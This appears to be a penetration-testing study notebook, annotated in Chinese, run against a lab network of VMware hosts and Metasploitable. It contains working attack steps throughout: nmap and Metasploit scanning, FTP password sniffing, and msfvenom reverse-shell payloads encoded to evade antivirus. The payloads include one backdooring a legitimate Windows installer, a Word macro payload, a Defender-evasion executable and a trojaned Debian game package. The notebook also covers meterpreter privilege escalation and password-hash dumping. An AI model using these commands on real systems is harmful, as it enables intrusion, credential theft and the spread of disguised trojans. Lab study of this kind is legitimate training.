#!/bin/bash if [ "$#" -ne 1 ];then #判断用户是否输入至少一个参数如果没有输入参数,则输出提示信息并退出 echo "Usage - ./arping.sh [interface]" echo "Example - ./arping.sh eth0" echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned" exit fi
┌──(root㉿kali)-[~] └─# nmap -sn 192.168.10.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 06:39 EST Nmap scan report for 192.168.10.1 Host is up (0.00011s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.10.2 Host is up (0.00072s latency). MAC Address: 00:50:56:FD:55:BB (VMware) Nmap scan report for 192.168.10.254 Host is up (0.00025s latency). MAC Address: 00:50:56:F9:FB:B3 (VMware) Nmap scan report for 192.168.10.139 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.14 seconds
半连接
全连接会留下记录,半连接不会
nmap -sS 61.140.179.113 -p 80,22,443,8000-8100
┌──(root㉿kali)-[~] └─# nmap -sS 61.140.179.113 -p 80,22,443,8000-8100 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 06:49 EST Nmap scan report for 61.140.179.113 Host is up (0.0011s latency). Not shown: 103 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh
┌──(root㉿kali)-[~] └─# nmap 192.168.10.133 -sI 192.168.10.141 -p1-1000 WARNING: Many people use -Pn w/Idlescan to prevent pings from their true IP. On the other hand, timing info Nmap gains from pings can allow for faster, more reliable scans. Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-08 20:32 EST Idle scan using zombie 192.168.10.141 (192.168.10.141:443); Class: Incremental Nmap scan report for 192.168.10.133 Host is up (0.036s latency). Not shown: 999 closed|filtered tcp ports (no-ipid-change) PORT STATE SERVICE 22/tcp open ssh MAC Address: 00:0C:29:75:E4:3C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 9.85 seconds
[*] Nmap: Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 00:57 EST [*] Nmap: Nmap scan report for 192.168.10.2 [*] Nmap: Host is up (0.000082s latency). [*] Nmap: Not shown: 999 closed tcp ports (reset) [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 53/tcp open domain dnsmasq 2.71 [*] Nmap: MAC Address: 00:50:56:E2:CD:AC (VMware) [*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds
db_nmap -sV 192.168.10.142
msf6 > db_nmap -sV 192.168.10.142 [*] Nmap: Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 00:57 EST [*] Nmap: Nmap scan report for 192.168.10.142 [*] Nmap: Host is up (0.0037s latency). [*] Nmap: Not shown: 977 closed tcp ports (reset) [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 21/tcp open ftp vsftpd 2.3.4 [*] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) [*] Nmap: 23/tcp open telnet Linux telnetd [*] Nmap: 25/tcp open smtp Postfix smtpd [*] Nmap: 53/tcp open domain ISC BIND 9.4.2 [*] Nmap: 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) [*] Nmap: 111/tcp open rpcbind 2 (RPC #100000) [*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) [*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) [*] Nmap: 512/tcp open exec netkit-rsh rexecd [*] Nmap: 513/tcp open login [*] Nmap: 514/tcp open tcpwrapped [*] Nmap: 1099/tcp open java-rmi GNU Classpath grmiregistry [*] Nmap: 1524/tcp open bindshell Metasploitable root shell [*] Nmap: 2049/tcp open nfs 2-4 (RPC #100003) [*] Nmap: 2121/tcp open ftp ProFTPD 1.3.1 [*] Nmap: 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 [*] Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 [*] Nmap: 5900/tcp open vnc VNC (protocol 3.3) [*] Nmap: 6000/tcp open X11 (access denied) [*] Nmap: 6667/tcp open irc UnrealIRCd [*] Nmap: 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) [*] Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 [*] Nmap: MAC Address: 00:0C:29:E3:33:5C (VMware) [*] Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel [*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds
arp扫描
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.10.0/24
set THREADS 15 #根据cpu来设置扫描的线程,不是越大越好。
run
msf6 auxiliary(scanner/discovery/arp_sweep) > run
[+] 192.168.10.1 appears to be up (VMware, Inc.). [+] 192.168.10.2 appears to be up (VMware, Inc.). [+] 192.168.10.142 appears to be up (VMware, Inc.). [+] 192.168.10.254 appears to be up (VMware, Inc.). [+] 192.168.10.139 appears to be up (VMware, Inc.). [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed
半连接扫描
search type:auxiliary name:syn
use auxiliary/scanner/portscan/syn
set RHOST 192.168.10.142
set THREADS 15
set PORTS 80,443
密码嗅探
search type:auxiliary name:psnuffle
use auxiliary/sniffer/psnuffle
run
另开终端登录142的ftp
apt -y install lftp
lftp -u msfadmin 192.168.10.142
msf6 auxiliary(sniffer/psnuffle) > [*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb... [*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb... [*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb... [*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb... [*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb... [*] Sniffing traffic..... [!] *** auxiliary/sniffer/psnuffle is still calling the deprecated report_auth_info method! This needs to be updated! [!] *** For detailed information about LoginScanners and the Credentials objects see: [!] https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners [!] https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module [!] *** For examples of modules converted to just report credentials without report_auth_info, see: [!] https://github.com/rapid7/metasploit-framework/pull/5376 [!] https://github.com/rapid7/metasploit-framework/pull/5377 [!] *** auxiliary/sniffer/psnuffle is still calling the deprecated report_auth_info method! This needs to be updated! [!] *** For detailed information about LoginScanners and the Credentials objects see: [!] https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners [!] https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module [!] *** For examples of modules converted to just report credentials without report_auth_info, see: [!] https://github.com/rapid7/metasploit-framework/pull/5376 [!] https://github.com/rapid7/metasploit-framework/pull/5377 [!] *** auxiliary/sniffer/psnuffle is still calling the deprecated report_auth_info method! This needs to be updated! [!] *** For detailed information about LoginScanners and the Credentials objects see: [!] https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners [!] https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module [!] *** For examples of modules converted to just report credentials without report_auth_info, see: [!] https://github.com/rapid7/metasploit-framework/pull/5376 [!] https://github.com/rapid7/metasploit-framework/pull/5377 [*] Successful FTP Login: 192.168.10.139:42140-192.168.10.142:21 >> msfadmin / msfadmin [*] Successful FTP Login: 192.168.10.139:42140-192.168.10.142:21 >> msfadmin / msfadmin [*] Successful FTP Login: 192.168.10.139:42140-192.168.10.142:21 >> msfadmin / msfadmin
Host IP : 127.0.0.1 Hostname : kali Description : Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64 Contact : Me Location : Sitting on the Dock of the Bay Uptime snmp : 03:25:08.20 Uptime system : 00:01:40.23 System date : 2023-1-18 02:20:36.0
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.139 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜1.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.139 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 |msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/西瓜2.exe
systemctl start apache2
https://www.virscan.org
查验病毒
msfdb run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.139
run
[*] Started reverse TCP handler on 192.168.10.139:4444 [*] Sending stage (175686 bytes) to 192.168.10.141 [*] Meterpreter session 1 opened (192.168.10.139:4444 -> 192.168.10.141:1030) at 2023-01-19 20:30:50 -0500
获取shell后
getuid
help 列出windows命令帮助
getsystem 提权
getuid
getpid 查看木马进程
ps
reboot
screenshot
sysinfo
run vnc 远程监控
hashdump 导出密码
软件植入后门
植入至子程序里面,避免捆绑主程序被杀
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.139 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
evasion生成木马
search evasion
set LPORT 5555
run
msf6 evasion(windows/windows_defender_exe) > run
[*] Compiled executable size: 4608 [+] VIR.exe stored at /root/.msf4/local/VIR.exe
use exploit/multi/browser/java_jre17_driver_manager
show payloads
set payload payload/java/meterpreter/reverse_tcp
exploit
msf6 exploit(multi/browser/java_jre17_driver_manager) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf6 exploit(multi/browser/java_jre17_driver_manager) > [*] Started reverse TCP handler on 192.168.10.139:4444 [*] Using URL: http://192.168.10.139:8080/G41q3jz [*] Server started.
宏病毒word获取shell
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.139 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f vba-exe
启动监控
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.139
run
linux
获取linux shell
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.139 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/linux1
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.139
run
[*] Started reverse TCP handler on 192.168.10.139:4444 [*] Sending stage (3045348 bytes) to 192.168.10.133 [*] Meterpreter session 5 opened (192.168.10.139:4444 -> 192.168.10.133:53998) at 2023-01-20 04:44:02 -0500
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.139 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/archives/freesweep/usr/games/freesweepb
制作版本描述信息,如果没有可能打包出问题
mkdir /root/archives/freesweep/DEBIAN && cd /root/archives/freesweep/DEBIAN
tee /root/archives/freesweep/DEBIAN/control <<'EOF' Package:freesweep Version:1.0.2-1 Section:Games and Amusement Priority:optional Architecture:amd64 Maintainer:Ubuntu MOTU Developers Description:a text-base minesweepr Freesweep is an implementation of the game. EOF